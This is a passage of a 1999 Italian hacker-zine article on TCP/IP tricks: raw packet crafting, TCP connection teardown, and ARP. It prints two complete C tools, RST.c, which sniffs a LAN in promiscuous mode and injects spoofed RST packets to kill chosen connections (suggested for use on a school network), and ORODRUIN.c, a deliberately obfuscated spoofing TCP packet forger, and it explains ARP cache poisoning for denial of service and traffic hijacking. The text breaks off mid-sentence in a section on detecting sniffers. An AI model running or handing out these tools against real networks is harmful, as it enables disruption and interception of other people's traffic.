============================================================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- --------------------[ previous ]---[ index ]---[ next ]--------------------- --------------------[ TCP/iP HACKS F0R PHUN AND PR0FiT ]---------------------- -----------------------[ da: TCP/iP T00LS UNLiMiTED ]------------------------ ----------------------------------[ FuSyS ]----------------------------------- NO(C)1999 FuSyS ############################################################################# DISCLAIMER Se qualcuno si sta ormai chiedendo che diavolo siano questi benedetti TCP/IP Tools Unlimited da cui traggo articoli e codici... beh, NON si tratta di un libro ordinabile da Amazon :) e no, non e' neanche un phile di testo. Non e' un manuale tecnico ne' materiale trafugato da una telco. Ma se ancora non ci aveste pensato, bastera' che raccogliate tutti i numeri di BFi e potrete avere il grosso di questi miei scritti tutto per voi :) In arrivo col numero 7 di BFi un pratico raccoglitore cartonato! ############################################################################# URL del numero: http://www.iinet.net.au/~bofh/index.html Se non avete mai letto gli aneddoti di Simon, BOfH per eccellenza, allora non avete il diritto di continuare a leggere BFi :P Ah, per chi non lo sapesse, BOfH sta per Bastard Operator fROM Hell :))) Ok bando alla perdita di tempo. Quello che avete tra le mani (no, non PgDn o ^[[B) e' un testo su alcuni aspetti del set di protocolli TCP/IP che possano esserci utili in una rete. Per rete questa volta non intendo necessariamente InterNet, quanto anche una piccola LAN, magari quella della scuola, dell'ufficio, di camera vostra o della vostra CON(vention) preferita. Per hacks intendo piccoli usi e variazioni sul tema in maniera abile e giocosa piu' che diretti ad un preciso fine. Se vi state chiedendo se si possa usare con questa accezione, beh, si puo'. Lo dice il jargon :) Requisiti: conoscenza di base di TCP/IP ['di base' non vuol dire 'nulla'] T C P / I P In alcuni dei miei articoli ho gia' presentato alcune caratteristiche di questo set di protocolli. Ho mostrato gli header ed alcune librerie usate per la programmazione a basso livello. Si', perche' non possiamo o dobbiamo assolutamente accontentarci di usare le normali chiamate delle API BSD socket per manipolare le connessioni e le macchine intorno a noi. Ne' possiamo fidarci del kernel perche' agisca come vorremmo noi :) .... Come abbiamo visto nella prima parte del progetto 0N0S3NDAi abbiamo la possibilita' di creare i nostri pacchetti IP ed inserirli nel normale flusso della comunicazione gestito dal kernel. Cosi' possiamo forgiare pacchetti con indirizzi spoofati, possiamo manipolare connessioni ed intercettare dati. Questo e' alla base anche di questo articolo. Per prima cosa quindi vi mostro come creare un semplice pacchetto IP. No, non un vero e proprio programma quanto una specie di HOWTO. Abbiamo per prima cosa bisogno di un po' di memoria, di un buffer. Quello che potete facilmente vedere spulciando nei sorgenti del kernel di linux o di un BSD, e' come il sistema gestisca le comunicazioni usando dei buffer che vengono manipolati man mano che si passa da uno strato all'altro del set di protocolli [in un prossimo articolo vedremo tutto il passaggio dalla scheda di rete all'applicazione e viceversa nel nuovo kernel di linux, il 2.2]. Questi buffer, chiamati sk_buff sotto linux e mbuf sotto BSD4.4, servono per contenere gli header ed i dati dei pacchetti IP (ma non solo) che vengono poi trasmessi dalle varie interfacce di rete del sistema. Si', anche via modem avete un'interfaccia di rete. E' proprio quella che attraverso SLIP/PPP ed il modem comunica con il gateway del vostro ISP. Quindi, non usando il kernel per i nostri pacchetti non possiamo avere un buffer di questo tipo. Ci accontenteremo :) di un semplice array di char. Per l'uso che ne faremo possono bastare array di non piu' di 1500, 2500 byte. Ovviamente sta poi a voi ed all'uso che ne farete, ed alla implementazione dei vostri tool, la specifica delle dimensioni dei suddetti array. Infatti il kernel sara' comunque in grado di frammentare per noi tali pacchetti a seconda del MTU della interfaccia di rete. char buffer[1500]; Ho gia' parlato delle strutture dati ip, udp, tcp e icmp... basta che vi spulciate ben bene la dir /usr/include/netinet/ alla ricerca di quel che fa per voi. In questo caso, creando un semplice pacchetto IP useremo solo <netinet/ip.h> : struct iphdr *ip; Perche' un puntatore a questa struttura? [sorry, ma non saro' io qui a dirvi cosa sia un puntatore]. Semplice. Perche' useremo il puntatore come foglio di carta velina da 'apporre' al nostro buffer per riempirlo come si deve. Dobbiamo pero' anche comunicare al kernel che abbiamo intenzione di creare noi i nostri pacchetti, quindi la chiamata di socket(2) usera' come type SOCK_RAW e come protocol IPPROTO_RAW. Dovremo anche comunicare la nostra intenzione di manipolare direttamente l'header di IP. Quindi useremo setsockopt(2), utilizzando IPPROTO_IP come level e IP_HDRINCL come optname. Mi raccomando di controllare sempre le pagine man dei comandi e funzioni che nomino. A questo punto posso tranquillamente apporre il mio puntatore al mio buffer: ip = (struct iphdr*) buffer; Cosi' facendo avro' la possibilita' di manipolare il buffer come farebbe (non proprio :) il kernel all'atto della creazione di un pacchetto: ip->ihl = 5; ip->version = 4; /* ip->tos */ ip->tot_len = htons(sizeof(ip)); ip->id = 0; ip->frag_off = 0; ip->ttl = htons(255); ip->protocol = IPPROTO_IP; /* ip->check */ ip->saddr = inet_addr("1.1.1.1"); ip->daddr = inet_addr("2.2.2.2"); Alcuni parametri li ho saltati in quanto il kernel provvedera' lui stesso, all'atto della trasmissione, a completare l'header di IP. A questo punto posso inviare il tutto mediante una semplice chiamata sendto(2) dopo aver ovviamente riempito anche una struttura di tipo sockaddr_in con il tipo di protocollo (AF_INET), l'indirizzo del destinatario, ed il numero di porta nel caso di TCP o UDP (0 negli altri). Questo metodo e' quello utilizzato spessissimo, se non quasi sempre, in moltissimi codici e tools di ogni genere in cui ci sia bisogno di manipolare a basso livello TCP/IP. Ovviamente creare un pacchetto e portare avanti connessioni, attacchi o difese non e' la stessa cosa. Ma senza sapere come forgiare pacchetti, sara' dura fare il resto :) Ora che questa e' fatta, passiamo ai TCP/IP hacks di questo articolo. D I S T R U Z I O N E C O N N E S S I O N I T C P / I P Nello scorso numero di BFi vi ho mostrato come avviene l'inizio di una connessione TCP, ovvero mediante il 3-way handshake. In questo articolo invece vi mostrero' come le connessioni vengono chiuse. Vi sono essenzialmente due modi che si rifanno a due delle flag TCP: FIN e RST. Il primo metodo e' quello speculare del 3-way, senonche' servono 4 passaggi e non solo 3. Questo metodo e' quello del cosiddetto HALF-CLOSE. Se infatti consideriamo la connessione TCP come full-duplex, possiamo facilmente capire che entrambe le parti in causa debbano chiudere la loro trasmissione. Per far questo si usa la flag FIN, di norma inviata quando l'applicazione ha chiamato la chiusura del socket. La ricezione di un FIN non vuol quindi dire che la connessione sia ultimata, quanto che e' stata chiusa dalla parte che l'ha trasmessa. Per questo prende il nome di half-close. In pratica una parte invia un pacchetto TCP con la flag FIN, con o senza trasmissione di ultimi dati mediante PSH. Il peer, risponde con un ack del seq+1 ed invia a sua volta un pacchetto con i suoi ultimi dati (o no, appena la trasmissione e' finita) e la flag FIN, che verra' riconosciuta con un ack dalla prima parte che ha avviato la chiusura. Al solito un diagramma aiutera', spero, la comprensione. -------------------------------------------------------- | | | ----------- FIN -----------> | | <------ ACK (SEQ+1) --------- | | CLIENT ( HALF-CLOSE ) SERVER | | <---------- FIN ------------ | | ------- ACK (SEQ+1) --------- | | | -------------------------------------------------------- Durante il periodo half-close, il server potrebbe benissimo continuare a trasmettere dati, anche se quasi nessuna delle applicazioni TCP utilizzi questa possibilita'. Da RFC infatti, l'invio di una FIN comunica la fine della trasmissione e NON la fine della possibilita' di ulteriore ricezione. Gia' che siamo in argomento tanto vale aggiungere qui la spiegazione degli stati di transizione di TCP. Avete presente quando utilizzate netstat(8) ? Quei termini alla fine della riga, tipo ESTABLISHED, SYN_SENT...? Alcuni sono abbastanza intuitivi, ma quelli piu' particolari hanno effettivamente a che vedere con la chiusura mediante flag FIN. Immaginate che io invii un pacchetto con FIN, passo nello stato FIN_WAIT_1 mentre la connessione, vista dal mio peer, passa in CLOSE_WAIT dopo avermi inviato un ack. Se a questo punto ho ricevuto, invece dell'ack solo FIN allora passo nello stato CLOSING, altrimenti in FIN_WAIT_2. Se ricevo sia FIN che ack allora passo in TIME_WAIT in attesa che termini il doppio del Maximum Segment Lifetime o 2MSL. Invece il mio peer dallo stato close_wait passa, dopo invio del suo FIN in LAST_ACK in attesa del mio ack per poter poi tornare nello stato CLOSED. Ora che avete il mal di mare forse e' meglio che guardiate il diagramma: |-------------------------------------| CLOSED ----------- | | | s: SYN | | | | r: SYN s: SYN/ACK | | | ---------------- LISTEN SYN_SENT | | | | | | r: SYN/ACK | | | s: ACK | SYN_RCVD ------- ESTABLISHED ---------- | r: ACK / \ | / \ r: FIN | / \ s: ACK | ---------- / \------- CLOSE_WAIT | s: FIN | | | | r: FIN s: ACK | s: FIN | FIN_WAIT_1 ------------- CLOSING | | | \ | LAST_ACK -------------| r: ACK | \ r: FIN/ACK | r: ACK | | \ s: ACK | | FIN_WAIT_2 \ ---------- TIM_WAIT -----------------------------| s: sends r: receives Ok, OK, non e' in postscript e non e' neanche un amore. Se ne volete uno serio avete la possibilita' di scaricarlo dalla home page di Stevens, l'autore di TCP/IP Illustrated. Dirigetevi su www.kohala.com ..... Tornando alla chiusura di connessioni TCP ho nominato anche la flag RST. In generale, questa flag serve per i reset. Questi vengono inviati da TCP ogni volta che un segmento o pacchetto non sembri corretto per la connessione cui si riferisce. Ad esempio un reset viene inviato ogni qual volta arrivi una richiesta di connessione ad una porta su cui non sia in ascolto alcun processo. Ad ogni modo la flag RST permette chiusure di tipo abortivo delle connessioni in quanto: ogni dato che l'applicazione possa tenere in coda viene scartato; ed il peer ha modo di capire che la connessione sia stata abortita invece che chiusa. Comunque basta un solo pacchetto con flag RST. -------------------------------------------------------- | | | CLIENT ------------ RST ------------> SERVER | | | -------------------------------------------------------- Se avete digerito tutto fin qui vi starete chiedendo: "si' vabbe, ma che ci faccio con 'sta roba ?!". Domanda legittima :) ma dovreste gia' esserci arrivati. Se siete a scuola, ufficio o in altre occasioni in cui abbiate accesso ad una rete locale, avrete la possibilita' di chiudere le connessioni a vostro piacimento, decidendo di farlo in base a vari parametri della connessione, come le porte, gli indirizzi IP, la quantita' di dati trasmessi... ovviamente senza dover riconfigurare firewalls, router od ogni altro segmento/processo di rete che possa insospettire gli operatori BOfH :) [nel senso che loro gia' lo fanno e vogliono una loro esclusiva...]. Se avete mai usato sniffit avrete anche visto il plugin Touch of Death che permette di distruggere le connessioni. Cosa fa? In pratica si tratta di sedere allegramente nella rete, avendo accesso al livello di datalink; fatelo come preferite, con libpcap, SOCK_PACKET, bpf, /dev/tap etc etc etc. A questo punto quando passa una richiesta di connessione che non volete permettere, potete spacciarvi per il server remoto utilizzando la flag RST, facendo credere che la porta remota non sia attiva. Con questo metodo potete anche abortire connessioni in corso o chiuderle dolcemente avviando, ad insaputa dell'host cui fate lo sgambetto, la chiusura mediante FIN e portando avanti, col vostro codice, il conteggio degli ack. Con questo potrete divertirvi nella LAN della scuola, sempre che abbiate accesso di superutente o possiate portarvi il vostro bel laptop con linux sopra. Oppure potrete controllare, in mancanza di un buon firewall, gli accessi ad host non permessi sulla vostra LAN. Ora vi mostro il codice necessario. In pratica dovete semplicemente crearvi una regola di uso, come per un firewall, confermata la quale, creiate uno o piu' pacchetti con flag RST o FIN da parte del peer lanciandoli all'host che ha richiesto i dati. Semplice IP SPOOFING vedente quindi. Il codice accluso e' solo esplicativo. Non e' un gran che come programma, ma fa quel che deve. Dovrebbe essere migliorato. Lo lascio a voi. Sto gia' lavorando a TH0T :) non posso fare tutto io... ---------- snip ---------- /************************************************************************ * * * RST.c Codice di accompagnamento a parte * * dell'articolo "TCP/IP Hacks for Phun * * and Profit" su BFi5. Puoi trovare BFi * * all'URL http://softpj98.bbk.org/bfi/ * * * * RST Storm per distruggere link TCP * * Forza Bruta. Non stile :) . Lo stile * * dovete aggiungerlo voi. Questo e' solo * * codice esplicativo, non supremo. * * * * (C)1999 FuSyS TCP/IP Tools Unlimited * ************************************************************************/ #include <stdio.h> #include <string.h> #include <unistd.h> #include <ctype.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netinet/if_ether.h> #include <net/if.h> #include <ioctls.h> #define RSTS 10 #define IF "eth0" int sp_fd; unsigned short ip_fast_csum(unsigned char *iph,unsigned long ihl) { unsigned long sum; __asm__ __volatile__(" movl (%1), %0 subl $4, %2 jbe 2f addl 4(%1), %0 adcl 8(%1), %0 adcl 12(%1), %0 1: adcl 16(%1), %0 lea 4(%1), %1 decl %2 jne 1b adcl $0, %0 movl %0, %2 shrl $16, %0 addw %w2, %w0 adcl $0, %0 notl %0 2: " : "=r" (sum), "=r" (iph), "=r" (ihl) : "1" (iph), "2" (ihl)); return(sum); } struct tcppk { struct iphdr ip; struct tcphdr tcp; char data[1500]; }; struct pseudo { unsigned long saddr, daddr; unsigned char zero, proto; unsigned short len; }; void raw(void) { int opt=1; if((sp_fd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <0){ perror("\nRAWIP() RAW Socket problems [Died]"); exit(); } if(setsockopt(sp_fd, IPPROTO_IP, IP_HDRINCL, &opt, sizeof(opt)) <0){ perror("RAWIP() Cannot set IP_HDRINCL [Died]"); exit(); } } int tap(char* device,int mode) { int fd; struct ifreq ifr; if((fd=socket(AF_INET, SOCK_PACKET, htons(0x3))) <0){ perror("SNIFF() SOCK_PACKET allocation problems [Died]"); exit(); } strcpy(ifr.ifr_name,device); if((ioctl(fd, SIOCGIFFLAGS, &ifr)) <0){ perror("SNIFF() Can't get device flags [Died]"); close(fd); exit(); } if(!mode)ifr.ifr_flags ^= IFF_PROMISC; else ifr.ifr_flags |= IFF_PROMISC; if((ioctl(fd, SIOCSIFFLAGS, &ifr)) <0){ perror("SNIFF() Can't set/unset promiscuous mode [Died]"); close(fd); exit(); } if(!mode){ close(fd); return(0); } else return(fd); } unsigned long in_aton(const char *str) { unsigned long l; unsigned long val; int i; l = 0; for (i = 0; i < 4; i++) { l <<= 8; if (*str != '\0') { val = 0; while (*str != '\0' && *str != '.') { val *= 10; val += *str - '0'; str++; } l |= val; if (*str != '\0') str++; } } return(htonl(l)); } void uff(void) { printf("\nUso: RST sourceIP src_port destIP dest_port\n\n"); exit(1); } int main(int argc, char **argv) { unsigned char buffer[1500], checkbuff[32], checkbuff2[32]; struct sockaddr_in sin, sin2; struct iphdr *ip; struct tcphdr *tcp; struct pseudo *psp, *psp2; struct tcppk tpk, tpk2; int sniff, snt, snt2, rst=0; unsigned long saddr, daddr; unsigned short src, dest; if(argc<5) { uff(); exit(1); } saddr=in_aton(argv[1]);daddr=in_aton(argv[3]); src=htons(atoi(argv[2]));dest=htons(atoi(argv[4])); sniff=tap(IF, 1); raw(); if(setpriority(0, 0, -20) <0){ printf("\nRST setpriority Error\n"); } ip = (struct iphdr *)(((char *)buffer)+14); tcp = (struct tcphdr *)(((char *)buffer)+(sizeof(struct iphdr)+14)); psp = (struct pseudo *)checkbuff; psp2 = (struct pseudo *)checkbuff2; memset(&sin, 0, sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=src; sin.sin_addr.s_addr=saddr; memset(&sin2, 0, sizeof(sin2)); sin.sin_family=AF_INET; sin.sin_port=dest; sin.sin_addr.s_addr=daddr; memset(&tpk, 0, sizeof(tpk)); memset(&tpk2, 0, sizeof(tpk2)); memset(psp, 0, sizeof(struct pseudo)); memset(psp2, 0, sizeof(struct pseudo)); tpk.ip.ihl=5; tpk.ip.version=4; tpk.ip.tos=0; tpk.ip.tot_len=htons(40); tpk.ip.frag_off=0; tpk.ip.ttl=64; tpk.ip.protocol=IPPROTO_TCP; tpk.ip.saddr=daddr; tpk.ip.daddr=saddr; tpk.tcp.source=dest; tpk.tcp.dest=src; tpk.tcp.doff=5; tpk.tcp.rst=1; tpk.tcp.ack=1; tpk.tcp.window=0; psp->saddr=tpk.ip.daddr; psp->daddr=tpk.ip.saddr; psp->zero=0; psp->proto=IPPROTO_TCP; psp->len=htons(20); tpk2=tpk; tpk2.ip.saddr=saddr; tpk2.ip.daddr=daddr; tpk2.tcp.source=src; tpk2.tcp.dest=dest; psp2->saddr=tpk.ip.saddr; psp2->daddr=tpk.ip.daddr; psp2->zero=0; psp2->proto=IPPROTO_TCP; psp2->len=htons(20); printf("RSTing :\t%s:%d > %s:%d\n", argv[1], src, argv[3], dest); while(read(sniff, &buffer, sizeof(buffer))) { if(ip->saddr==daddr && ip->daddr==saddr && tcp->source==dest && tcp->dest==src) { tpk.tcp.seq=tcp->seq+htonl( ntohs(ip->tot_len)-40); tpk.tcp.ack_seq=tcp->ack_seq; tpk2.tcp.seq=tcp->ack_seq; tpk2.tcp.ack_seq=tcp->seq+htonl( ntohs(ip->tot_len)-40); memcpy(checkbuff+12, &tpk.tcp, 20); tpk.tcp.check=ip_fast_csum( (unsigned char *)checkbuff,32); memcpy(checkbuff2+12, &tpk2.tcp, 20); tpk2.tcp.check=ip_fast_csum( (unsigned char *)checkbuff2,32); for(; rst<RSTS; rst++) { snt2=sendto(sp_fd, &tpk2, 40, 0, (struct sockaddr *)&sin2, sizeof(sin2)); snt=sendto(sp_fd, &tpk, 40, 0, (struct sockaddr *)&sin, sizeof(sin)); if(snt<0)printf("[SP00F_ERROR]"); else printf("[RST]"); } break; } } printf("\n"); tap(IF, 0); exit(0); } ---------- snip ---------- S P 0 0 F E R T C P Oltre a RST quello che vi lascio e' un codice per creare pacchetti IP+TCP. Un forger TCP quindi. Potete specificare gli indirizzi IP, le porte ed anche le flag TCP da inserire. Puo' essere molto utile per testare i vostri firewall e router ed anche per cominciare a capire come fare a programmare questi gingilli. PERO'... Pero' non ho usato il metodo normale che ho spiegato prima per creare pacchetti, bensi' un altro. Uguale eppure molto diverso. Non solo nella stesura del codice :P come penserete subito, ma anche nel metodo. Se capirete quello, avrete in mano la chiave di lettura di molti exploit che ci sono in giro :) ... tenete sempre un occhio al vostro libro/doc preferito su TCP/IP. Intanto ecco il codice: ---------- snip ---------- /************************************************************************ * * * ORODRUIN.c Il Monte del Fato, la forgia entro cui * * l' Uno e' stato creato, nella terra di * * Mordor, dove l'ombra nera attende. * * * * Uno Spoof per regnarli, * * Uno Spoof per trovarli, * * Uno Spoof per ghermirli, e nel buio * * incatenarli, nella terra di Redmond * * dove il nero hacker attende ... * * * * (C)1999 FuSyS TCP/IP Tools Unlimited * ************************************************************************/ #include <stdio.h> #include <string.h> #include <unistd.h> #include <ctype.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <time.h> unsigned short ip_fast_csum(unsigned char *iph,unsigned long ihl) { unsigned long sum; __asm__ __volatile__(" movl (%1), %0 subl $4, %2 jbe 2f addl 4(%1), %0 adcl 8(%1), %0 adcl 12(%1), %0 1: adcl 16(%1), %0 lea 4(%1), %1 decl %2 jne 1b adcl $0, %0 movl %0, %2 shrl $16, %0 addw %w2, %w0 adcl $0, %0 notl %0 2: " : "=r" (sum), "=r" (iph), "=r" (ihl) : "1" (iph), "2" (ihl)); return(sum); } struct pseudo { unsigned long saddr, daddr; unsigned char zero, proto; unsigned short len; }; unsigned long in_aton(const char *str) { unsigned long l; unsigned long val; int i; l = 0; for (i = 0; i < 4; i++) { l <<= 8; if (*str != '\0') { val = 0; while (*str != '\0' && *str != '.') { val *= 10; val += *str - '0'; str++; } l |= val; if (*str != '\0') str++; } } return(htonl(l)); } void uff(void) { printf("\nUso: Orodruin sourceIP destIP "); printf("[-h -s -d -n -F -S -R -P -A -U]\n"); printf(" -h questa litania di Angmar ...\n"); printf(" -s porta l' origine dell' Uno\n"); printf(" -d porta la destinazione dell' Uno\n"); printf(" -n x il numero delle creazioni\n"); printf(" -FSRPAU le bandiere dell'Uno\n\n"); exit(1); } int main(int argc, char **argv) { unsigned char pkt[1500], *x0F, b, flags=0; struct sockaddr_in sin; struct pseudo psp; int fd, fdo, ln, i, snt, opt, hz=1, os=0, od=0; unsigned long saddr, daddr; unsigned short src=0, dest=0; if(argc<3) { uff(); exit(1); } saddr=in_aton(argv[1]);daddr=in_aton(argv[2]); while ((opt = getopt(argc, (char**)argv, "hs:d:n:FSRPAU")) != EOF ) { switch(opt) { case 'h': uff(); exit(0); break; case 's': src=(unsigned short)atoi(optarg); os++; break; case 'd': dest=(unsigned short)atoi(optarg); od++; break; case 'n': hz=atoi(optarg); break; case 'F': flags|=0x01; break; case 'S': flags|=0x02; break; case 'R': flags|=0x04; break; case 'P': flags|=0x08; break; case 'A': flags|=0x10; break; case 'U': flags|=0x20; break; default: break; } } if((fd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) { fprintf(stderr, "\nSOCK_RAW Died\n"); exit(2); } fdo=1; if(setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &fdo, sizeof(fdo))<0) { fprintf(stderr, "\nHDRINCL Died\n"); exit(3); } srand(time(NULL)); printf("\n\033[1;34m----] \033[1;32mO R O D R U I N\033[0m"); printf("\033[1;34m [----\033[0m"); printf("\n\033[1;34m TCP Forger by FuSyS\033[0m"); printf("\n\033[1;34m TCP/IP Tools Unlimited\033[0m"); printf("\n\033[1;34m------------][-------------\033[0m\n\n"); /* Magia Nera Del Re Stregone di Minas Morgul, Signore Dei Nazgul */ while(hz){if(!os)src=1024+(rand()%2000);if(!od)dest=rand()%2000;if(flags==0) flags|=0x20|0x08;sin.sin_family=AF_INET;sin.sin_addr.s_addr=daddr;sin.sin_port= dest;ln=sizeof(sin);x0F=pkt;memset((unsigned char*)x0F,0,1500);psp.saddr=saddr; psp.daddr =daddr;psp.len=htons(20);psp.zero=0;psp.proto=6;b=0x45;memcpy(x0F,&b, sizeof(unsigned char));x0F+=2;*((unsigned short*)x0F)=htons(40);x0F+=2;*(( unsigned short*)x0F)=0xFFFF;x0F+=2;*(( unsigned short*)x0F)=0x0000;x0F+=2;*(( unsigned char*)x0F)=0xFF;x0F+=1;b=6;memcpy(x0F,&b,sizeof(unsigned char));x0F+=3 ;*((unsigned long*)x0F)=saddr;x0F+=4;*((unsigned long*)x0F)=daddr;x0F+=4;*(( unsigned short*)x0F)=htons(src);x0F+=2;*((unsigned short*)x0F)=htons(dest);x0F +=2;*((unsigned long*)x0F)=htonl(rand());x0F+=4;*((unsigned long*)x0F)=htonl( rand());x0F+=4;b=0x50;memcpy(x0F,&b,sizeof(unsigned char));x0F+=1;memcpy(x0F, &flags,sizeof(unsigned short));x0F+=1;*((unsigned short*)x0F)=htons(1024);x0F+= 2;*((unsigned short*)x0F)=ip_fast_csum((unsigned char*)&psp,32);snt=sendto(fd, pkt,40,0,(struct sockaddr*)&sin,ln);hz--;} exit(1); } ---------- snip ---------- Oltre alla forma c'e' un particolare di grande importanza: il calcolo del checksum relativo a TCP. Questo non e' semplice come per l'header IP, UDP e ICMP, ma c'e' bisogno di una struttura particolare che contenga IP sorgente e destinazione, le porte TCP, un char uguale a zero per padding e la quantita' di dati trasmessa con l'header TCP. Ricordatevelo quando creerete uno spoofer TCP. P R O T O C O L L O A R P Address Resolution Protocol Gli indirizzi IP, non dimentichiamolo, hanno un senso solo per lo stack TCP/IP di una macchina. Ma ad un livello piu' basso come quello ethernet per esempio, con un suo sistema proprietario di indirizzamento, non servono a molto. Gli indirizzi IPv4 sono a 32bit, mentre quelli ethernet sono a 48bit. Come fanno quindi i pacchetti a transitare da una macchina all'altra, di rete in rete, solo con gli indirizzi IP? Semplice. Esiste una cache che gestisce le conversioni, o meglio gli appaiamenti IP/ethernet, host per host. Questa e' la cache ARP. Essa viene gestita mediante un protocollo di interrogazione che permette alle macchine di una rete di conoscere l'indirizzo hardware a partire da quello IP. Potete trovare la specifica ARP nel RFC 826. Esiste anche un protocollo inverso per macchine non dotate di disco, che debbano fare il boot da un server in rete, e necessitino di conoscere il loro indirizzo IP. Questo protocollo e' RARP, o Reverse ARP. Il pacchetto ARP e' particolare rispetto a quelli visti fin ora nei miei vari articoli, in quanto NON si basa su IP. Come potrebbe dal momento che non posso raggiungere un altro host, anche conoscendo il suo IP, se non conosco il suo indirizzo hardware? Dobbiamo capire che un conto e' il routing IP, un conto la modalita' di trasferimento lungo la LAN da una scheda ethernet ad un'altra. Vediamo il pacchetto ARP tipo: 6 6 2 2 2 1 1 2 6 4 6 4 ------------------------------------------------------------------------------ | ETHERNET | ETHERNET | FRAME|HARD|PROT|HW|PR| OP|SENDER|SENDER|TARGET|TARGET| | SRC | DEST | TYPE |TYPE|TYPE|SZ|SZ| | ETH | IP | ETH | IP | ------------------------------------------------------------------------------ I primi due campi sono gli indirizzi ethernet sorgente e destinazione del pacchetto. Poi vengono due byte che specificano il tipo di dati che segue. Per le richieste o le risposte ARP e' uguale a 0x806 . Hardware type specifica il tipo di hardware cui si riferiscono le operazioni richieste dal pacchetto ARP. Per ethernet e' uguale a 1. Il protocol type specifica il protocollo che viene usato come paragone. Per IP e' 0x800. Vengono poi due byte per specificare le dimensioni degli indirizzi hardware e del protocollo. 6 per indirizzi ethernet e 4 per quelli IP. OP specifica il tipo di operazione ARP. 1 per richieste ARP, 2 per risposte ARP, 3 per richieste RARP e 4 per le risposte RARP. Seguono poi gli indirizzi ethernet ed IP del sorgente e del destinatario. Tutti i valori possibili sono contenuti nell'header if_arp.h e ethernet.h nella dir /usr/include/net/ Quando ci colleghiamo ad una macchina nella nostra LAN, lo stack TCP/IP richiede mediante query ARP quale sia l'indirizzo hardware della macchina che ha come IP quello che il DNS (o una tabella statica come /etc/hosts) ci ha comunicato: BFi $ telnet BFIhome Trying 192.168.1.7... Connected to BFihome. Escape character is '^]'. dietro le quinte possiamo vedere con tcpdump la richiesta ARP: 15:13:29.181972 arp who-has BFihome tell BFi 15:13:30.176932 arp reply BFihome is-at 0:0:c0:1e:6f:26 Ecco che l'host interpellato risponde con il suo indirizzo a 48bit, dopodiche' la comunicazione TCP avviene normalmente. Ma, vi chiederete, com'e' possibile che BFihome abbia ricevuto la richiesta ARP se BFi non sapeva quale fosse l'indirizzo ethernet cui inviare il pacchetto? E' effettivamente questo il punto. Semplice. L'indirizzo ethernet specificato come destinatario e' ff:ff:ff:ff:ff:ff ovvero l'indirizzo di BROADCAST, in modo che tutte le macchine possano saggiare il pacchetto e decidere cosa farne. A quel punto il layer ethernet preleva il pacchetto, capisce dal frame type uguale a 0x806 che si tratta di operazioni ARP, quindi il sottosistema ARP controlla l'indirizzo IP oggetto della query. Se corrisponde a quello della scheda di rete della macchina, allora dara' il via ad una risposta ARP. Ora il primo hack per ARP :) Abbiamo visto come prima sia stato possibile distruggere connessioni TCP molto facilmente in una LAN. Ora pensate ad una cosa. Quello che possiamo fare con ARP e' potentissimo. Possiamo inviare risposte ARP per conto di altri host, specificando un diverso indirizzo ethernet per creare due tipi di attacco. Un DoS ed un hijack. Per il DoS e' semplicissimo. Si tratta di specificare un indirizzo a 48bit inesistente nella LAN, in modo che i pacchetti vadano nel vuoto piu' assoluto. Non sarebbero piu' possibili connessioni di alcun genere. Per l'hijack invece si tratta di specificare il nostro indirizzo! Con questo potremmo redirigere il flusso della connessione al nostro host. Beh, vi chiederete, a che pro farlo rispetto al semplice sniffer? Manipolando le cache ARP possiamo ridirottare il traffico di host oltre a switch locali in modo da ottenere flussi di dati di macchine normalmente al di la' della portata del nostro sniffer. Ora ci sono due problemi: come inviare pacchetti ARP e quando farlo. Beh, il primo problema e' facilmente risolvibile. Sotto linux esiste un accesso mediante chiamata socket(2) che permette di raggiungere il livello datalink, il livello hardware. SOCK_PACKET viene comunemente usato per sniffare sulla LAN. Ma puo' essere utilizzato anche per inviare pacchetti comprensivi di header hardware. Bisogna pero' ricordare che in questo caso il kernel NON fara' alcunche' ai nostri pacchetti, dovremo pensare noi anche alla frammentazione, nel caso servisse... Quindi non bisogna saltare alcun campo delle varie strutture che ci servono, compresa quella dell'interfaccia ethernet. La specifica e' in ethernet.h in /usr/include/net/ : /* 10Mb/s ethernet header */ struct ether_header { u_int8_t ether_dhost[ETH_ALEN]; /* destination eth addr */ u_int8_t ether_shost[ETH_ALEN]; /* source ether addr */ u_int16_t ether_type; /* packet type ID field */ }; Per il quando farlo ci sono sostanzialmente due modi: monitorare le richieste ARP rispondendo prima degli host legali, oppure mediante continue risposte ARP inviate ogni tot secondi a seconda del tempo di cancellamento della cache ARP. Esiste anche la cosiddetta gratuitous ARP ovvero una richiesta ARP fatta a se' stessi. Questo da un lato serve a vedere se non ci siano gia' altri host con lo stesso IP, ma soprattutto a controllare eventuali cambi di indirizzo. Quello che non tutti sanno e' che essendo anche questa richiesta in BROADCAST, tutte le macchine della LAN terranno conto del nuovo indirizzo ethernet, facendo cosi' l'update delle loro cache. Non tutti gli stack reagiscono pero' allo stesso modo. Un modo per costringere linux ad inserire nella cache un'entry e' quello di eseguire una richiesta ARP da parte dell'host che intendiamo spoofare, hijackare o DoSare (povero italiano :) verso l'host di cui vogliamo corrompere la cache, usando il NOSTRO indirizzo hardware. Esiste poi l'unsolicited ARP in cui rispondiamo senza avere richiesta. In questo caso di default, linux NON accetta reply. M A N I P O L A Z I O N I A R P alla ricerca di sniffer nella LAN Ora pero' vi mostro un aspetto interessante dal punto di vista della sicurezza. Tutti sanno quali effetti possano avere gli sniffer in una rete locale, aziendale, universitaria... qualunque rete con qualche decina di macchine ed utenti vogliosi di connettersi a destra e a manca. Collezionare centinaia di coppie login/password per centinaia di siti e' una impresa da poco per uno sniffer ben posizionato. E tutti gli admin sanno quanto sia noioso cercare macchina per macchina gli indizi di uno sniffer all'opera. Spesso l'unico tratto saliente e' quello dell'attivazione della modalita' promiscua delle interfacce di rete. Questa permette di agire e vagliare pacchetti non specificatamente indirizzati alla macchina su cui lo sniffer gira, ma potenzialmente TUTTI quelli di passaggio nella LAN. Questo permette di controllare le connessioni di tutta la rete locale usando un solo processo su di una sola macchina. Ebbene ricordiamo adesso come vengano processate le richieste ARP. Il livello hardware controlla i pacchetti che abbiano come destinazione hardware l'indirizzo a 48bit di broadcast o multicast, e ne controllano gli IP contenuti per sapere se, ed a chi, rispondere. Tutte le macchine SONO costrette a 